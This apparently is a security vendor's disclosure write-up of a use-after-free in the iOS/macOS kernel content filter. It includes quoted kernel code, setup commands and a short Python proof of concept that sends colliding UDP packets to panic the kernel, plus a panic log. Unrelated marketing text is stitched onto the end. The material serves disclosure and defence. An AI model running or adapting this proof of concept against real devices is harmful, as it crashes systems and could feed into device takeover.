Contact us (APTs@ZecOps.com) in case you observed hash_entry collisions on traffic from MacOS/iOS devices or if you observe any additional suspicious behavior such as random reboots.  

General Recommendations

  • Update to the latest iOS version: this will render the privilege escalation part of the exploit chain unusable, and hence disinfect affected devices that were attacked by the threat actor(s) that leveraged this vulnerability. In addition, this update should rectify frequent random reboots on the affected devices.
  • Run the PCAP tool to check historical data for devices that were exposed to this vulnerability: https://github.com/ZecOps/public/tree/master/cfil_hash_collision. Smaller delta between the first packet and the cfil_hash collision increases the chance that it was an attack. Collisions that happened after more than 20 seconds are meaningless.

Partners, Resellers, Distributors and Innovative Security Teams:
We’re still in stealth mode, but… we are already working with leading organizations globally. If you wish to learn more about what we do and what fresh vibes we bring to defensive cyber security, contact us here.

Suspected Bug Collision: iOS/OSX Content Filter Kernel UAF Analysis + POC

Suspected Bug Collision: iOS/OSX Content Filter Kernel UAF Analysis + POC

Introduction

The iOS 12.3/MacOS 10.14.5 version was released on May 13th, 2019. This update patched a Use-After-Free vulnerability in the XNU kernel that ZecOps Research Team has independently discovered in early May 2019.  However, at the time of writing, ZecOps Team is not aware whether a CVE was assigned to this vulnerability since it was patched during our preparations to disclose this vulnerability to Apple.

Based on ZecOps forensics intelligence, we suspect that threat actors are exploiting this vulnerability in the wild against Mobile Device Management (MDM) users. ZecOps continue the investigation to confirm this conclusively. As a precaution, ZecOps advises updating iOS/OS X devices to the latest software version.

Once the initial code execution had been achieved, this potent vulnerability allows complete device takeover. Furthermore, this vulnerability can be accessed from sandboxed processes and applications on supervised devices.

Vulnerability details

The Network Extension Control Policy (NECP) is described in /bsd/net/necp.c.

The goal of this module is to allow clients connecting via a kernel control socket to create high-level policy sessions, which are ingested into low-level kernel policies that control and tag traffic at the application, socket, and IP layers.”

Starting MacOS 10.14 and iOS 12, UDP support contains a Garbage Collection (GC) thread which is added to the Content Filter.

/*
 * NECP FILTER CONTROL UNIT
 *
 * A user space filter agent uses the Network Extension Control Policy (NECP)
 * database to specify which TCP/IP sockets need to be filtered. The NECP
 * criteria may be based on a variety of properties like user ID or proc UUID.
 *
 * The NECP "filter control unit" is used by the socket content filter subsystem
 * to deliver the relevant TCP/IP content information to the appropriate
 * user space filter agent via its kernel control socket instance.
 * This works as follows:
 *
 * 1) The user space filter agent specifies an NECP filter control unit when
 *    in adds its filtering rules to the NECP database.
*/

The function cfil_sock_udp_get_flow first lookups an existing entry (comment 1 in the code sample below) of a combination of Local Address/Port, and Remote Address/Port (laddr, lport, faddr, fport). If an existing entry does not exist, a new entry will be generated and inserted into the head of cfentry_link.

A cfdb_only_entry pointer always points to the latest entry (comment 2 below).

Later, the cfil_info_alloc allocates a new cfil_info object which contains a unique identifier cfil_sock_id, then inserts the cfil_info into the tail of a linked-list called cfi_link (comment 3).

struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
{
	...
    // See if flow already exists.
    hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
    if (hash_entry != NULL) {
		return (hash_entry);
    }

    hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
    if (hash_entry == NULL) {
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
		return (NULL);
    }

    if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
        hash_entry->cfentry_cfil == NULL) {
        cfil_db_delete_entry(so->so_cfil_db, hash_entry);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        return (NULL);
    }
    ...
}

The GC thread wakes up every 10 seconds, it adds the sock_id of the expired sockets into a list called expired_array (Comment [a] below), then frees the cfil_info in the expired_array in another loop (Comment ).

cfil_info_udp_expire(void *v, wait_result_t w)
{
...

    TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
        if (expired_count >= UDP_FLOW_GC_MAX_COUNT)
            break;

        if (IS_UDP(cfil_info->cfi_so)) {
            if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
                cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
                cfil_info_buffer_threshold_exceeded(cfil_info)) {
                expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]
                expired_count++;
            }
        }
    }
    cfil_rw_unlock_shared(&cfil_lck_rw);

    if (expired_count == 0)
        goto go_sleep;

    for (uint32_t i = 0; i < expired_count; i++) {

        // Search for socket (UDP only and lock so)
        so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
        if (so == NULL) {
            continue;
        }

        cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
...
        cfil_db_delete_entry(db, hash_entry);
        cfil_info_free(cfil_info);//
...
}

The cfdb_only_entry should be set to NULL in function cfil_db_delete_entry. However the db->cfdb_only_entry = NULL;(line 25) is never executed.

Upon a closer look at the cfil_db_get_cfil_info function, a different path will be executed when only a single entry is left (fast path) for better performance.

struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
{
    struct cfil_hash_entry *hash_entry = NULL;

    ...

	// This is an optimization for connected UDP socket which only has one flow.
	// No need to do the hash lookup.
	if (db->cfdb_count == 1) { //fast path
		if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
			db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
			return (db->cfdb_only_entry->cfentry_cfil);
		}
	}

	hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
	return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);
}

If two different cfil_info objects have the same cfil_sock_id, the following flow occurs:

In the 1st loop cfil_db_get_cfil_info returns entry2 which is the first element of the cfentry_link that will be freed in later execution;
In the 2nd loop cfil_db_get_cfil_info goes into the fast path and returns the object pointed by cfdb_only_entry which is the freed entry2, so the kernel will panic in later execution as a result of a Use-After-Free vulnerability.

+--------------------+       +-----------------+
|   entry 2         <--------+ cfdb_only_entry |
+--------------------+       +-----------------+
|   entry 1          |
+--------------------+

Vulnerability Reproduction

In order to generate the cfil_sock_id collision, we need to know how the cfil_sock_id was built.

The cfi_sock_id is calculated by so_gencnt, faddr, laddr, fport, lport.

so_gencnt is the generation count for sockets and it remains the same for a single socket. The higher 32 bits are from so_gencnt, and the lower 32 bits are an XOR operation result based on laddr, faddr, lport, and fport.

#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
                                entry->cfentry_lport,entry->cfentry_fport);
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
         inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

Sending two identical UDP requests will only generate one cfil_info object and at least one of the laddr, lport, faddr, fport should be different so the function cfil_sock_udp_get_flow doesn’t return immediately after cfil_db_lookup_entry.

struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
{
    ...
        if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
            nextentry->cfentry_fport == matchentry.cfentry_fport &&
            nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
            nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
            return nextentry;
        }
	...
}

In summary, in order to reproduce this panic, we need to send two UDP requests that meet the following prerequisites:

  1. Identical so_gencnt, which means the same socket object;
  2. Identical flowhash;
  3. Different addresses or ports.

The requirements can be fulfilled by crafting the faddr, fport value.

POC Setup Environment

Running the PoC on your MacOS might not take effect unless your device has MDM enabled. To trigger the vulnerability, the device should meet the following conditions:

  1. At least one Content Filter is attached.
  2. A NECP policy which affects UDP requests is added to the NECP database.
  3. The affected NECP policy and the attached Content Filter have the same filter_control_unit.
cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
                          struct sockaddr *local, struct sockaddr *remote,
                          struct mbuf *data, struct mbuf *control, uint32_t flags)
{
...

    if (cfil_active_count == 0) {//[a]
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain);
        return (error);
    }
    
    filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
    if (filter_control_unit == 0) {
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
        return (error);
    }
...
	
    hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
    if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
		CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
        return (EPIPE);
    }
...
}

The content filter is not activated by default and to attach it manually, we need to run Apple’s network-cmds cfilutil. Please note that cfilutil is not a pre-installed tool and you might want to compile it from the source code.

The following command activates the content filter in a way that the check in line [a] would pass.

sudo cfilutil -u [control_unit]

Control_unit is an integer value that should be the same as the filter_control_unit as in the NECP policy.

sudo cfilutil -u 100

Proof of Concept Code

The PoC code is surprisingly simple, only a few lines of Python code are required to implement it. The device will panic in a few seconds after running the PoC code. The address&port pair in the PoC is different while having the same flowhashin Content Filter:

# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © ZecOps.com - Find and Leverage Attacker’s Mistakes&#x2122; 
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('192.168.1.5', 8080)
s.sendto(msg, address)

address = ('193.168.1.5', 7824)
s.sendto(msg, address)
s.close()

The following panic was generated on OS X following an execution of the POC:

*** Panic Report ***
panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0
RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000
RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000
R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000
R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88
RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0

Backtrace (CPU 0), Frame : Return Address
0xffffff800bd5d280 : 0xffffff800be8e46d 
0xffffff800bd5d2d0 : 0xffffff800c025436 
0xffffff800bd5d310 : 0xffffff800c014a62 
0xffffff800bd5d380 : 0xffffff800be29ae0 
0xffffff800bd5d3a0 : 0xffffff800be8db2b 
0xffffff800bd5d4d0 : 0xffffff800be8d953 
0xffffff800bd5d540 : 0xffffff800c014cae 
0xffffff800bd5d6b0 : 0xffffff800be29ae0 
0xffffff800bd5d6d0 : 0xffffff800c285638 
0xffffff8067563fa0 : 0xffffff800be290ce 

BSD process name corresponding to current thread: kernel_task

Patch

After the patch of MacOS 10.14.5/iOS 12.3, the db->cfdb_only_entry = NULL;(line 18), can be correctly executed

Recommendations

ZecOps Threat Forensics Team advises updating iOS devices to the latest version.  This should break the exploit chain which leverages this vulnerability and make it no longer functional. As a result, threat actors that leverage this vulnerability on affected MDM devices will lose persistency. As a result, compromised devices following Apple’s iOS update will get disinfected. If you suspect that your devices were attacked by an exploit that leverages this vulnerability, please reach out to ZecOps here.

Partners, Resellers, Distributors and Innovative Security Teams: We’re still in stealth mode, but… we are already working with leading organizations globally. If you wish to learn more about what we do and what fresh vibes we bring to defensive cyber security, contact us here.

Researchers: If you get excited about bugs, vulnerabilities, exploits reproduction, and Digital Forensics and Incident Response (DFIR) like we do, don’t forget to register to ZecOps Reverse Bounty program here.

June 2 6/12/2015 Consulting Thought Leadership “Proactively Engaged – Questions Executives Should Ask Their Security Teams ” “-Many breaches occur as a result of executive decisions made w/out full knowledge of the people/processes needed to prevent them; -Offers specific questions that execs should ask to understand and prevent a breach” Jim Aldridge Kyrk Content Finalized Global June 2 6/12/2015 Consulting Thought Leadership “Proactively Engaged – Questions Executives Should Ask Their Security Teams ” “-Many breaches occur as a result of executive decisions made w/out full knowledge of the people/processes needed to prevent them; -Offers specific questions that execs should ask to understand and prevent a breach” Jim Aldridge Kyrk Content Finalized GlobCaching Out: The Value of Shimcache for Investigators